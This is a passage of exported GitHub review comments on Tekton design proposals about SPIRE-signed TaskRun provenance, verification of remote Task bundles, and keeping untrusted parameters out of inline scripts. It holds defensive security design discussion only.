Autopilot](https://cloud.google.com/kubernetes-engine/docs/concepts/autopilot-overview#host_options_restrictions))\r\n\r\nGood news is that https://github.com/spiffe/spire/issues/2452 led to the creation of a CSI based solution (https://github.com/spiffe/spiffe-csi), which should let us use SPIRE w/o hostPath.", "comment_id": 768946600, "created_at": "2021-12-14T18:41:55Z", "line": null, "path": "teps/0089-spire-support.md", "pr_number": 529, "repo": "community"} +{"author": "priyawadhwa", "body": "thanks @wlynch, included that in the TEP", "comment_id": 769174772, "created_at": "2021-12-15T01:30:29Z", "line": null, "path": "teps/0089-spire-support.md", "pr_number": 529, "repo": "community"} +{"author": "priyawadhwa", "body": "I added these into a list of points to consider for when we thoroughly design Signed Taskruns!", "comment_id": 769177054, "created_at": "2021-12-15T01:36:37Z", "line": null, "path": "teps/0089-spire-support.md", "pr_number": 529, "repo": "community"} +{"author": "priyawadhwa", "body": "Added in a point about how we should check performance implications when fully designing Signed TaskRuns. Also replaced the idea about storing state in memory with storing state as an annotation!", "comment_id": 769177329, "created_at": "2021-12-15T01:37:27Z", "line": null, "path": "teps/0089-spire-support.md", "pr_number": 529, "repo": "community"} +{"author": "bobcatfish", "body": "small detail - i think we're okay with a scenario where tekton didn't create the taskrun itself, e.g. it could be some triggering system that created it (even something like github actions), but the important thing is that the execution is carried out by the tekton pipelines controller, and all updates to the TaskRun once execution starts (or we could go as far as after creation) are done by the controller and not by something else (particularly the status)", "comment_id": 783495018, "created_at": "2022-01-12T22:36:49Z", "line": null, "path": "teps/0089-spire-support.md", "pr_number": 529, "repo": "community"} +{"author": "bobcatfish", "body": "couple nits:\r\n- 'all signed Tasks' -> 'all signed TaskRuns' (signing of the Tasks themselves would be a different story)\r\n- 'were created by Tekton' -> 'were only updated by Tekton once execution started' or similar (see comment above)", "comment_id": 783495514, "created_at": "2022-01-12T22:37:52Z", "line": null, "path": "teps/0089-spire-support.md", "pr_number": 529, "repo": "community"} +{"author": "bobcatfish", "body": "siganture -> signature", "comment_id": 783495957, "created_at": "2022-01-12T22:38:39Z", "line": null, "path": "teps/0089-spire-support.md", "pr_number": 529, "repo": "community"} +{"author": "bobcatfish", "body": "\ud83d\udc4d \ud83d\udc4d \ud83d\udc4d sgtm!", "comment_id": 783496216, "created_at": "2022-01-12T22:39:06Z", "line": null, "path": "teps/0089-spire-support.md", "pr_number": 529, "repo": "community"} +{"author": "bobcatfish", "body": "thanks for listing these!", "comment_id": 783496317, "created_at": "2022-01-12T22:39:20Z", "line": null, "path": "teps/0089-spire-support.md", "pr_number": 529, "repo": "community"} +{"author": "bobcatfish", "body": "would you be planning to set these up as something that runs regularly or something that's done manually to verify the behavior? I think these would be valuable as end to end tests we keep going forward, not 100% sure if we'd prefer to always have spire enabled in our end to end tests (and deployed and configured in the cluster under test) or only do it for a sub set of tests\r\n\r\nwe'd need to setup a test cluster that has both chains + pipelines in it as well (maybe chains already has this?)", "comment_id": 783498455, "created_at": "2022-01-12T22:43:29Z", "line": null, "path": "teps/0089-spire-support.md", "pr_number": 529, "repo": "community"} +{"author": "bobcatfish", "body": "i wonder if we'd want to support this as an option too in the future - do you think there's anything about the current proposal that would preclude this from adding this as an option in the future? (i.e. letting users choose different ways of enforcing non-falsifiabilty)", "comment_id": 783499203, "created_at": "2022-01-12T22:44:54Z", "line": null, "path": "teps/0089-spire-support.md", "pr_number": 529, "repo": "community"} +{"author": "bobcatfish", "body": "np if we go ahead with this flag but i was wondering, you also mentioned the keyless signing alternative, im wondering if instead of a flag here we could have something like `--enforce-nonfalsifiablity=spire` (or something easier to type...) which could support other options later.\r\n\r\nmight be over thinking it tho!", "comment_id": 783499928, "created_at": "2022-01-12T22:46:14Z", "line": null, "path": "teps/0089-spire-support.md", "pr_number": 529, "repo": "community"} +{"author": "priyawadhwa", "body": "sure, i think that's a good idea! changed the name of the flag in the TEP :)", "comment_id": 783536161, "created_at": "2022-01-13T00:12:50Z", "line": null, "path": "teps/0089-spire-support.md", "pr_number": 529, "repo": "community"} +{"author": "priyawadhwa", "body": "that makes sense! i think the second point pretty much covers that (that execution should be done by the controller only) so i'll remove this one.", "comment_id": 783536753, "created_at": "2022-01-13T00:14:27Z", "line": null, "path": "teps/0089-spire-support.md", "pr_number": 529, "repo": "community"} +{"author": "priyawadhwa", "body": "i think they should definitely be able to coexist, nothing in here should prevent that.", "comment_id": 783537673, "created_at": "2022-01-13T00:17:02Z", "line": null, "path": "teps/0089-spire-support.md", "pr_number": 529, "repo": "community"} +{"author": "priyawadhwa", "body": "ideally it would be something that runs regularly but i'll probably know more once i start actually writing the code \ud83d\ude05 \r\n\r\ni think we will need to set up a new test cluster, chains doesn't have one as of now! ", "comment_id": 783538771, "created_at": "2022-01-13T00:20:02Z", "line": null, "path": "teps/0089-spire-support.md", "pr_number": 529, "repo": "community"} +{"author": "wlynch", "body": "Do you know how fine grained authorization is for the signing keys? e.g. does it allow per-container authorization or is it only for the Pod? I'm wondering if/how we might be able to reduce access to keys from user steps \ud83e\udd14 ", "comment_id": 784079223, "created_at": "2022-01-13T15:40:58Z", "line": 130, "path": "teps/0089-nonfalsifiable-provenance-support.md", "pr_number": 529, "repo": "community"} +{"author": "priyawadhwa", "body": "There are a few different [selectors](https://github.com/spiffe/spire/blob/main/doc/plugin_agent_workloadattestor_k8s.md) you can configure, including the container image and container name, so I believe we should be able to reduce access from user steps.", "comment_id": 784120207, "created_at": "2022-01-13T16:25:08Z", "line": 130, "path": "teps/0089-nonfalsifiable-provenance-support.md", "pr_number": 529, "repo": "community"} +{"author": "vdemeester", "body": "How would Chains do that ?\u00a0Is it just a \"standard\" annotation or something?", "comment_id": 784131739, "created_at": "2022-01-13T16:38:17Z", "line": null, "path": "teps/0089-nonfalsifiable-provenance-support.md", "pr_number": 529, "repo": "community"} +{"author": "priyawadhwa", "body": "Yup, it's a standard annotation that Chains will add on each TaskRun it looks at.", "comment_id": 785127620, "created_at": "2022-01-14T19:43:03Z", "line": null, "path": "teps/0089-nonfalsifiable-provenance-support.md", "pr_number": 529, "repo": "community"} +{"author": "jerop", "body": "was there a third issue that was removed? \ud83e\udd14 ", "comment_id": 785173114, "created_at": "2022-01-14T21:12:15Z", "line": null, "path": "teps/0089-nonfalsifiable-provenance-support.md", "pr_number": 529, "repo": "community"} +{"author": "jerop", "body": "marking the TaskRun as \"failed\" could also mean that the `ConditionSucceeded` of the TaskRun is marked `false` - but I see in a resolved discussed that it means adding an annotation to the TaskRun in this proposal - could we please clarify that here?", "comment_id": 785176026, "created_at": "2022-01-14T21:18:31Z", "line": null, "path": "teps/0089-nonfalsifiable-provenance-support.md", "pr_number": 529, "repo": "community"} +{"author": "jerop", "body": "is requesting the signature + svid for the results and adding them to the taskruns done at the end of the taskrun execution, or is it as each result is produced? asking because if it's the latter, I wonder how it'd work with long-running taskruns given that the signatures are short lived (and if it limits the timeouts)?", "comment_id": 785202584, "created_at": "2022-01-14T22:18:23Z", "line": 208, "path": "teps/0089-nonfalsifiable-provenance-support.md", "pr_number": 529, "repo": "community"} +{"author": "pritidesai", "body": "is it possible to update the taskRun to add such annotations after the taskRun is done specially by chains controller? \ud83e\udd14 Will it have enough permissions to do so? should we allow that update?", "comment_id": 785245359, "created_at": "2022-01-15T00:52:51Z", "line": null, "path": "teps/0089-nonfalsifiable-provenance-support.md", "pr_number": 529, "repo": "community"} +{"author": "pritidesai", "body": "are we referring to task `results` here? Task results are part of the taskRun status. So the entrypoint is requesting SVID and signature for that particular result? lets say if my task has 10 different results, will I see those many SVIDs and signatures? Are these SVIDs and signatures also stored as annotations in addition to the SVIDs and signature of the taskRun itself?", "comment_id": 785247231, "created_at": "2022-01-15T01:04:10Z", "line": 158, "path": "teps/0089-nonfalsifiable-provenance-support.md", "pr_number": 529, "repo": "community"} +{"author": "pritidesai", "body": "please elaborate a little on `TaskRun`, I think `TaskRun` here means task specifications (including input params) either through `taskRef` or `taskSpec` \ud83e\udd14 Or does it also include `status` since `status` is modified by the pipeline controller until the execution is over.", "comment_id": 785248162, "created_at": "2022-01-15T01:09:57Z", "line": null, "path": "teps/0089-nonfalsifiable-provenance-support.md", "pr_number": 529, "repo": "community"} +{"author": "pritidesai", "body": "what would be the format of SVID for taskRun and/or results?", "comment_id": 785248374, "created_at": "2022-01-15T01:11:11Z", "line": 161, "path": "teps/0089-nonfalsifiable-provenance-support.md", "pr_number": 529, "repo": "community"} +{"author": "pritidesai", "body": "SVID for a taskRun could be `spiffe://tekton.dev/` and for task result it could be `spiffe://tekton.dev//result/` or `spiffe://tekton.dev//` \ud83e\udd14 ", "comment_id": 785254876, "created_at": "2022-01-15T02:01:02Z", "line": 158, "path": "teps/0089-nonfalsifiable-provenance-support.md", "pr_number": 529, "repo": "community"} +{"author": "pritidesai", "body": "we should add this while the results are added into taskRun status i.e. at the end of the taskRun execution. The `entrypoint` is aware of the result through the termination message but it does not classify as the `result` until taskRun finishes successfully. It is also possible that the task result is produced and part of the termination message but later if that taskRun fails, the result is lost and not available for consumption. ", "comment_id": 785255321, "created_at": "2022-01-15T02:05:00Z", "line": 208, "path": "teps/0089-nonfalsifiable-provenance-support.md", "pr_number": 529, "repo": "community"} +{"author": "priyawadhwa", "body": "yup, i'll fix this!", "comment_id": 787049469, "created_at": "2022-01-18T18:42:52Z", "line": null, "path": "teps/0089-nonfalsifiable-provenance-support.md", "pr_number": 529, "repo": "community"} +{"author": "priyawadhwa", "body": "yup, clarified that it's a Chains-specific annotation. The chains controller already updates this annotation for each TaskRun, so it should be ok. ", "comment_id": 787050597, "created_at": "2022-01-18T18:44:32Z", "line": null, "path": "teps/0089-nonfalsifiable-provenance-support.md", "pr_number": 529, "repo": "community"} +{"author": "priyawadhwa", "body": "Yup, it would be done at the end of taskrun execution, so the short lived signatures shouldn't be a problem here. \r\n\r\n", "comment_id": 787051896, "created_at": "2022-01-18T18:46:17Z", "line": 208, "path": "teps/0089-nonfalsifiable-provenance-support.md", "pr_number": 529, "repo": "community"} +{"author": "priyawadhwa", "body": "Yup, we're referring to task `results`. Each `result` will have an associated signature, and all signatures can be verified with one `SVID`. These will be stored as annotations.\r\n\r\n> Are these SVIDs and signatures also stored as annotations in addition to the SVIDs and signature of the taskRun itself?\r\n\r\nYup, ultimately we will have signatures and an SVID for the Task results, and we'll also have a signature and an SVID over the entire TaskRun.", "comment_id": 787054129, "created_at": "2022-01-18T18:49:22Z", "line": 158, "path": "teps/0089-nonfalsifiable-provenance-support.md", "pr_number": 529, "repo": "community"} +{"author": "priyawadhwa", "body": "i basically meant it to include the entire TaskRun yaml that's being executed, and i'm guessing the `status` should be included as well. ", "comment_id": 787055510, "created_at": "2022-01-18T18:51:19Z", "line": null, "path": "teps/0089-nonfalsifiable-provenance-support.md", "pr_number": 529, "repo": "community"} +{"author": "priyawadhwa", "body": "it'll be an [x509-svid](https://github.com/spiffe/spiffe/blob/main/standards/X509-SVID.md), which will be stored as a PEM encoded certificate ", "comment_id": 787057052, "created_at": "2022-01-18T18:53:24Z", "line": 161, "path": "teps/0089-nonfalsifiable-provenance-support.md", "pr_number": 529, "repo": "community"} +{"author": "bobcatfish", "body": "@priyawadhwa just how short lived are the short lived signatures? im wondering b/c there could potentially be TaskRuns that take hours - maybe even days (or around a day?) - im not sure that we've ever set an upper limit on them (the longer the taskrun the more it would risk being rescheduled but that's another story \ud83d\ude05 )", "comment_id": 787136242, "created_at": "2022-01-18T20:46:11Z", "line": 208, "path": "teps/0089-nonfalsifiable-provenance-support.md", "pr_number": 529, "repo": "community"} +{"author": "bobcatfish", "body": "@squee1945 it's worth snagging a TEP early - the [generation tool](https://github.com/tektoncd/community/tree/main/teps#creating-and-merging-teps) will pick a number for you that's available", "comment_id": 726496835, "created_at": "2021-10-11T18:41:23Z", "line": null, "path": "teps/draft-20211011-verified-tasks.md", "pr_number": 537, "repo": "community"} +{"author": null, "body": "The `teps/tools/teps.py` tool will generate a bit of the boilerplate for you. For example:\r\n\r\n- Typically TEPs include a header table (e.g. https://github.com/tektoncd/community/blob/c455b22b4e441dce8aba316de553209483bac364/teps/0084-endtoend-provenance-collection.md#L1-L8) identifying author, updated_at, title, etc.\r\n\r\n- Updates `teps/README.md` with an entry for this TEP.", "comment_id": 727229670, "created_at": "2021-10-12T15:02:07Z", "line": null, "path": "teps/0091-verified-task-bundles.md", "pr_number": 537, "repo": "community"} +{"author": "squee1945", "body": "The script was failing for me for some reason.\r\n```\r\nurllib.error.URLError: \r\n```", "comment_id": 727261028, "created_at": "2021-10-12T15:34:56Z", "line": null, "path": "teps/0091-verified-task-bundles.md", "pr_number": 537, "repo": "community"} +{"author": "squee1945", "body": "Should I try to manually add the missing parts? Any other suggestion?", "comment_id": 727371604, "created_at": "2021-10-12T17:58:44Z", "line": null, "path": "teps/0091-verified-task-bundles.md", "pr_number": 537, "repo": "community"} +{"author": null, "body": "Yeah, manually adding should work fine & appease the `pull-community-teps-lint` job.", "comment_id": 727374301, "created_at": "2021-10-12T18:02:36Z", "line": null, "path": "teps/0091-verified-task-bundles.md", "pr_number": 537, "repo": "community"} +{"author": "squee1945", "body": "Done.", "comment_id": 727443502, "created_at": "2021-10-12T19:50:34Z", "line": null, "path": "teps/0091-verified-task-bundles.md", "pr_number": 537, "repo": "community"} +{"author": "bobcatfish", "body": "if we can (and i think we could make it work) id like to see us include a requirement that it be possible to apply this approach to Tasks outside of bundles as well, specifically I'm thinking of Tasks in version control (via the remote resolution work @sbwsg has been doing - which would mean also being able to generalize to potentially other sources of Tasks as well)\r\n\r\n(potentially Tasks in cluster as well though we might need to be a bit more creative for that)\r\n\r\nand on the topic of version control, this is slightly out of scope but i think worth thinking about: if we want ppl to be able to use tekton to achieve SLSA level 3, they're going to need to be able to meet the [\"build as code\"](https://slsa.dev/requirements#build-as-code) requirement, which will be interesting for bundles - and for bundles it's going to mean ultimately being able to trace back the source of a bundle to a version controlled repo", "comment_id": 727500249, "created_at": "2021-10-12T20:59:57Z", "line": null, "path": "teps/0091-verified-task-bundles.md", "pr_number": 537, "repo": "community"} +{"author": "bobcatfish", "body": "also i think worth including as a requirement that whatever approach we take here be generalizable to Pipelines as well as Tasks (i think Tekton Bundles can also contain Pipelines?)", "comment_id": 727500643, "created_at": "2021-10-12T21:00:30Z", "line": null, "path": "teps/0091-verified-task-bundles.md", "pr_number": 537, "repo": "community"} +{"author": "bobcatfish", "body": "(i wonder if eventually we're going to want to redefine \"bundle\" such that there are multiple ways of backing it - e.g. OCI registry, version control, bucket... but with provenance information as well)", "comment_id": 727501937, "created_at": "2021-10-12T21:02:29Z", "line": null, "path": "teps/0091-verified-task-bundles.md", "pr_number": 537, "repo": "community"} +{"author": "bobcatfish", "body": "nit: might be helpful to link to it here https://github.com/tektoncd/catalog/tree/main/task/kaniko/0.5", "comment_id": 727502232, "created_at": "2021-10-12T21:02:58Z", "line": null, "path": "teps/0091-verified-task-bundles.md", "pr_number": 537, "repo": "community"} +{"author": "bobcatfish", "body": "might be worth explaining what \"compromised\" means here - which i think means running a task with the same name but contents that... dont match what's in github? don't match what was last merged as approved? have been mutated in some way before the TaskRun started?", "comment_id": 727502664, "created_at": "2021-10-12T21:03:41Z", "line": null, "path": "teps/0091-verified-task-bundles.md", "pr_number": 537, "repo": "community"} +{"author": "bobcatfish", "body": "i think before we move forward with the proposal we should at least try to work through what this would look like for other situations, specifically when Tasks exist in version control, and also how we could handle non-cosign requirements (as per our [flexibility principles](https://github.com/tektoncd/community/blob/main/design-principles.md#flexibility) to be careful about when we're opinionated)", "comment_id": 727504976, "created_at": "2021-10-12T21:07:11Z", "line": null, "path": "teps/0091-verified-task-bundles.md", "pr_number": 537, "repo": "community"} +{"author": "bobcatfish", "body": "A few potential requirements that we could include (if possible i think it would be really useful to express the requirements in terms such that a) we only mention design choices such as cosign in the proposal and b) we can be as clear as possible about what 'trusted' and 'safe' mean in this context:\r\n\r\n* There is a process by which a Task or Pipeline can be marked as \"trusted\" (haha I'm not defining trusted BUT what I'm trying to say is that trust = owners of the Task or Pipeline explicitly sign off on the contents in some way)\r\n* Verification can ensure the contents of the Task or Pipeline have not been modified since being marked as \"trusted\"\r\n* It is not possible to modify the Task or Pipeline in such a way that it has been modified and the verification will still pass (i.e. the Task or Pipelines does not contain the means of verification)\r\n* Verification can be performed by Tekton Pipelines; Tekton Chains can see whether or not the verification occurred and know that it was signed off on by Tekton Pipelines (this might be a bit too far into the implementation - however im a bit worried that relying on annotations might not work here - i.e. i think we need to know the annotation wasn't just added by someone with permission to edit the TaskRun/PipelineRun)\r\n* When evaluating a new Task for use, it must be clear to a user how to provide a user with all the data they need to verify the task (e.g. the correct public key)", "comment_id": 727511806, "created_at": "2021-10-12T21:18:32Z", "line": null, "path": "teps/0091-verified-task-bundles.md", "pr_number": 537, "repo": "community"} +{"author": "squee1945", "body": "\"for bundles it's going to mean ultimately being able to trace back the source of a bundle to a version controlled repo\"\r\n\r\nInteresting. By extension this would also seem to implicate builder images too? Meaning, the builder images themselves will have to have some sort of signed source provenance attestation linking them back to version controlled repo?", "comment_id": 727521163, "created_at": "2021-10-12T21:35:01Z", "line": null, "path": "teps/0091-verified-task-bundles.md", "pr_number": 537, "repo": "community"} +{"author": "squee1945", "body": "I was explicitly avoiding Pipelines because I think Chains operates over TaskRun results?\r\n\r\nIf Chains operates exclusively over TaskRun results, then then a PipelineRun (either inline, or via a Pipeline Ref) will cause TaskRuns to be specified - those TaskRuns will either be inline, or a reference to a cluster Task, or a reference to a Task Bundle. If the latter, it could be verified according to this TEP.", "comment_id": 727523751, "created_at": "2021-10-12T21:39:40Z", "line": null, "path": "teps/0091-verified-task-bundles.md", "pr_number": 537, "repo": "community"} +{"author": "squee1945", "body": "Done.", "comment_id": 727525540, "created_at": "2021-10-12T21:42:44Z", "line": null, "path": "teps/0091-verified-task-bundles.md", "pr_number": 537, "repo": "community"} +{"author": "squee1945", "body": "Done.", "comment_id": 727525625, "created_at": "2021-10-12T21:42:52Z", "line": null, "path": "teps/0091-verified-task-bundles.md", "pr_number": 537, "repo": "community"} +{"author": "squee1945", "body": "Added suggested requirements.", "comment_id": 727531059, "created_at": "2021-10-12T21:52:44Z", "line": null, "path": "teps/0091-verified-task-bundles.md", "pr_number": 537, "repo": "community"} +{"author": "squee1945", "body": "\"relying on annotations might not work here - i.e. i think we need to know the annotation wasn't just added by someone with permission to edit the TaskRun/PipelineRun\"\r\n\r\nI hadn't contemplated this. Are there other types of annotations in Tekton that are subject to abuse if these annotations can be edited like this?", "comment_id": 727532988, "created_at": "2021-10-12T21:56:09Z", "line": null, "path": "teps/0091-verified-task-bundles.md", "pr_number": 537, "repo": "community"} +{"author": "squee1945", "body": "@sbwsg can you point me to any more information about using a task ref from version control? For Git, we might be able to use `signer: gpg` for example.", "comment_id": 727541959, "created_at": "2021-10-12T22:14:16Z", "line": null, "path": "teps/0091-verified-task-bundles.md", "pr_number": 537, "repo": "community"} +{"author": null, "body": "Sure thing - here are [the implementation options](https://github.com/tektoncd/community/blob/main/teps/0060-remote-resource-resolution.md#alternatives) we're considering as part of the remote resolution TEP.\r\n\r\nOne of [the goals](https://github.com/tektoncd/community/blob/main/teps/0060-remote-resource-resolution.md#goals) in that TEP is to offer / integrate a mechanism for verification of remote tasks (and pipelines) before they are executed by Pipelines' reconcilers. Happy to update that TEP to accommodate any changes needed to support this one.", "comment_id": 727987212, "created_at": "2021-10-13T12:01:39Z", "line": null, "path": "teps/0091-verified-task-bundles.md", "pr_number": 537, "repo": "community"} +{"author": "squee1945", "body": "@sbwsg TEP-0060 looks great and I think this TEP could easily be modified to be built on top of it (e.g., introduce optional verification configuration). I'm new to K8S development, but the `TektonResourceRequest` CRD seems to be most aligned to the overall model - presuming people can plug in custom resolvers - but no need to litigate that here as I think most of the alternatives presented in TEP-0060 could form the basis for this TEP.\r\n\r\nSo... now we have a bit of a :chicken: and :egg: issue. How can I help?", "comment_id": 728234213, "created_at": "2021-10-13T16:16:55Z", "line": null, "path": "teps/0091-verified-task-bundles.md", "pr_number": 537, "repo": "community"} +{"author": "pritidesai", "body": "> I was explicitly avoiding Pipelines because I think Chains operates over TaskRun results?\r\n\r\nyup, chains operate over taskRun results and a pipelineRun will cause taskRuns to be specified.\r\n\r\nThe taskRun either part of a pipeline or not triggers chains if it produces `IMAGES` as task result (or have image pipeline resource as an output). The high level goal here is to design the solution which can be extended to a pipeline and also complements [TEP-0084](https://github.com/tektoncd/community/blob/main/teps/0084-endtoend-provenance-collection.md). The proposal in this PR looks pretty robust and extensible. The motivation behind verifying a pipeline (in YAML or bundles) is to make sure the tasks are executed in the order they were specified and the ones which were part of the pipeline. ", "comment_id": 733118143, "created_at": "2021-10-20T20:22:37Z", "line": null, "path": "teps/0091-verified-task-bundles.md", "pr_number": 537, "repo": "community"} +{"author": "bobcatfish", "body": "> Are there other types of annotations in Tekton that are subject to abuse if these annotations can be edited like this?\r\n\r\ni think you could make things not work correctly, e.g. by changing labels or even changing owner references, but im not sure what the abuse vector would be (general disruption and mischief?)\r\n\r\nI believe tekton chains signs the annotations it adds ( @priyawadhwa correct me if i'm wrong ) - maybe the same approach will work for pipelines adding annotations we need to trust?", "comment_id": 750552324, "created_at": "2021-11-16T18:29:16Z", "line": null, "path": "teps/0091-verified-task-bundles.md", "pr_number": 537, "repo": "community"} +{"author": "priyawadhwa", "body": "@bobcatfish yah so the annotations could be edited to say pretty much anything. If you want to prevent that then this is where spire could come in -- with spire, the pipelines controller could add some annotation and also a signature over that annotation, which chains could then verify. you can configure spire to only sign requests that come from the tekton controller, so something else running the cluster wouldn't be able to do it.\r\n\r\nto follow the current chains format for signing you would have the user specify a path to a private key (this could be in a k8s secret or in kms). you'd just have to make sure that nothing else in the cluster could sign with it! ", "comment_id": 750693342, "created_at": "2021-11-16T21:56:14Z", "line": null, "path": "teps/0091-verified-task-bundles.md", "pr_number": 537, "repo": "community"} +{"author": null, "body": ":+1: thanks for adding the clarifying detail about the location of the verification logic.\r\n\r\nI'm going to add an additional Risk to TEP-0060 somewhat related to this: since `ResourceRequest` objects are just CRDs they suffer the same problems as Tekton's other CRDs - they can be modified pretty much any time by someone with the right permissions. So conceivably a Task that's verified by a Resolver might not be the same Task that a TaskRun reconciler receives, since someone with access to the cluster and write-access to ResourceRequests could modify the content moments after resolution + verification completes. It's a different threat model than the one this TEP is addressing but I want to document that Risk somewhere.\r\n\r\nEdit: added [the risk and possible mitigations](https://github.com/tektoncd/community/pull/547/files#diff-5aec90b863359ee289524e8d80aa7c9b22f80d796b22e740691105de994b606fR426).", "comment_id": 763986079, "created_at": "2021-12-07T13:22:24Z", "line": 435, "path": "teps/0091-verified-remote-resources.md", "pr_number": 537, "repo": "community"} +{"author": null, "body": "total nit: `reconsiler` -> `reconciler`", "comment_id": 763987387, "created_at": "2021-12-07T13:23:50Z", "line": 434, "path": "teps/0091-verified-remote-resources.md", "pr_number": 537, "repo": "community"} +{"author": "bobcatfish", "body": "build -> taskrun?", "comment_id": 766064900, "created_at": "2021-12-09T18:50:22Z", "line": 116, "path": "teps/0091-verified-remote-resources.md", "pr_number": 537, "repo": "community"} +{"author": "bobcatfish", "body": "id like to explicitly include Pipelines in the goals as well, or even just some reference to this functionality applying to other Tekton types as well in the future", "comment_id": 766066623, "created_at": "2021-12-09T18:52:54Z", "line": 155, "path": "teps/0091-verified-remote-resources.md", "pr_number": 537, "repo": "community"} +{"author": "bobcatfish", "body": "im not quite sure what \"arbitrary Tasks\" means here, maybe you could expand on it a bit? (im thinking maybe you mean Tasks that aren't remote?)", "comment_id": 766067188, "created_at": "2021-12-09T18:53:45Z", "line": 169, "path": "teps/0091-verified-remote-resources.md", "pr_number": 537, "repo": "community"} +{"author": "bobcatfish", "body": "i think you've mentioned adding this as future work, but if possible id like to include a requirement that this can be configured at the level of the controller as well, i.e. the cluster admin can express this policy vs requiring every pipeline + taskrun to be explicit", "comment_id": 766068853, "created_at": "2021-12-09T18:56:15Z", "line": 230, "path": "teps/0091-verified-remote-resources.md", "pr_number": 537, "repo": "community"} +{"author": "bobcatfish", "body": "\ud83d\udc4d ", "comment_id": 766069206, "created_at": "2021-12-09T18:56:42Z", "line": 250, "path": "teps/0091-verified-remote-resources.md", "pr_number": 537, "repo": "community"} +{"author": "skaegi", "body": "baesed -- typo", "comment_id": 795891184, "created_at": "2022-01-31T17:17:29Z", "line": 290, "path": "teps/0091-verified-remote-resources.md", "pr_number": 537, "repo": "community"} +{"author": "afrittoli", "body": "heh, I had the same question, it would be good to include an example of `Tasks` that would not be covered", "comment_id": 805872122, "created_at": "2022-02-14T14:02:47Z", "line": 169, "path": "teps/0091-verified-remote-resources.md", "pr_number": 537, "repo": "community"} +{"author": "afrittoli", "body": "Is the assumption that local resources were verified before they were deployed to the cluster?\r\n\r\nI'm really happy about the support for remote tasks, however that is partly an alpha feature (oci bundles) and partly not implemented yet, so I think we would need a mechanism to verify tasks that are installed on the cluster too.\r\nIs that explicitly out of scope for this TEP?", "comment_id": 805874202, "created_at": "2022-02-14T14:05:13Z", "line": 115, "path": "teps/0091-verified-remote-resources.md", "pr_number": 537, "repo": "community"} +{"author": "afrittoli", "body": "I wonder if `verification` could be one level up, directly under `taskRef` instead? That way it could be extended in future to non-remote resources too?", "comment_id": 805891628, "created_at": "2022-02-14T14:23:18Z", "line": 420, "path": "teps/0091-verified-remote-resources.md", "pr_number": 537, "repo": "community"} +{"author": "afrittoli", "body": "Thanks @sbwsg - that's a very good point. \r\nThe current implementation of OCI bundles goes only through the controller, so as long as we trust the controller, we can trust the resource verified by it. \r\nOnce we move to remote resources via CRD we'll be back to square one, so perhaps this TEP could tackle the problem of verifying in cluster resources as well.", "comment_id": 805922587, "created_at": "2022-02-14T14:52:36Z", "line": 435, "path": "teps/0091-verified-remote-resources.md", "pr_number": 537, "repo": "community"} +{"author": "jerop", "body": "There were some alternatives discussed in the original proposal, such as using annotations, could they please be added here?", "comment_id": 779157757, "created_at": "2022-01-05T21:45:35Z", "line": 134, "path": "teps/0047-pipeline-task-display-name.md", "pr_number": 593, "repo": "community"} +{"author": null, "body": "```suggestion\r\ndirectly referenced from a `Script` and, if it does, whether that\r\n```", "comment_id": 779515625, "created_at": "2022-01-06T12:33:50Z", "line": null, "path": "teps/0099-parameters-in-script.md", "pr_number": 596, "repo": "community"} +{"author": null, "body": "```suggestion\r\n`Parameter` was ever populated using untrusted input.\r\n```", "comment_id": 779515756, "created_at": "2022-01-06T12:34:03Z", "line": null, "path": "teps/0099-parameters-in-script.md", "pr_number": 596, "repo": "community"} +{"author": null, "body": "```suggestion\r\n1. trace the values passed to that `Parameter` via those resources\r\n```", "comment_id": 779516039, "created_at": "2022-01-06T12:34:38Z", "line": 142, "path": "teps/0099-parameters-in-script.md", "pr_number": 596, "repo": "community"} +{"author": null, "body": "```suggestion\r\n1. determine if that source could have been user-generated\r\n```", "comment_id": 779516146, "created_at": "2022-01-06T12:34:49Z", "line": null, "path": "teps/0099-parameters-in-script.md", "pr_number": 596, "repo": "community"} +{"author": null, "body": "```suggestion\r\n `Tasks` have to be bumped with this update, and their previous\r\n versions' docs updated to warn about the issue.\r\n```", "comment_id": 779517835, "created_at": "2022-01-06T12:38:18Z", "line": null, "path": "teps/0099-parameters-in-script.md", "pr_number": 596, "repo": "community"} +{"author": null, "body": "I really like this approach because of its explicitness and I like the other alternative for projecting into the filesystem as well (particularly if we take that approach for the result refs / param files idea from [TEP-0086](https://github.com/tektoncd/community/pull/521/files#diff-6057e05e8be034edde14ed71128372a35468e25c3f6c9809be8cc8a1e78ada94R275)!).\r\n\r\nSo one more alternative might be to combine these ideas:\r\n1. expand `$(params.bar.env)` into `PARAM_BAR`. This instructs Tekton to put the param value into an env var on that Step and allows any `script` lang to use it:\r\n shell: `echo ${$(params.bar.env)}`\r\n python: `print os.getenv(\"$(params.bar.env)\")`\r\n node: `console.log(process.env.$(params.bar.env))`\r\n2. expand `$(params.bar.path)` into `/tekton/params/bar`. This instructs Tekton to put param value into file for that Step and similarly makes it available to any language of `script`:\r\n shell: `cat $(params.bar.path)`\r\n python: `with open(\"$(params.bar.path)\") as file: # ...`\r\n node: `fs.readFileAsync($(params.bar.path), 'utf8', (err, data) => {})`", "comment_id": 779549277, "created_at": "2022-01-06T13:34:07Z", "line": null, "path": "teps/0099-parameters-in-script.md", "pr_number": 596, "repo": "community"} +{"author": null, "body": "I definitely prefer the approach of projecting into env or filesystem rather than shell-escaping the value. Shell-escaping feels language-specific while script fields are language agnostic. I also like the explicitness of using `$(params.foo.env)` or `$(params.foo.path)` in the script over implicit projections.\r\n\r\nExposing params exclusively via the filesystem makes the most sense to me if we decide to take that route in TEP-0086 for populating params from a sidecar.", "comment_id": 779566266, "created_at": "2022-01-06T14:01:23Z", "line": 556, "path": "teps/0099-parameters-in-script.md", "pr_number": 596, "repo": "community"} +{"author": null, "body": "Looking at [the list of variables available to Tasks](https://github.com/tektoncd/pipeline/blob/main/docs/variables.md#variables-available-in-a-task) the majority should be filtered through various forms of escaping. However I still feel uneasy about any of those values being injected directly into `script` because we don't have an audit of the kinds of escaping taking place across the codebase wrt those vars. I'd be happy to take this on if we decide to move to implementable in some form here but decide to only limit the scope to `params` right now.", "comment_id": 779585428, "created_at": "2022-01-06T14:28:48Z", "line": 554, "path": "teps/0099-parameters-in-script.md", "pr_number": 596, "repo": "community"} +{"author": "lbernick", "body": "nit: I would rephrase this slightly-- the goal isn't to be backwards incompatible in v1, it's to be secure by default and backwards incompatibility is unfortunately necessary", "comment_id": 779613216, "created_at": "2022-01-06T15:06:07Z", "line": null, "path": "teps/0099-parameters-in-script.md", "pr_number": 596, "repo": "community"} +{"author": "lbernick", "body": "When you say \"operator\" do you mean the operator of a cluster has the choice of whether to permit interpolation? Do you know why users might want this? (Maybe they are trying to use a 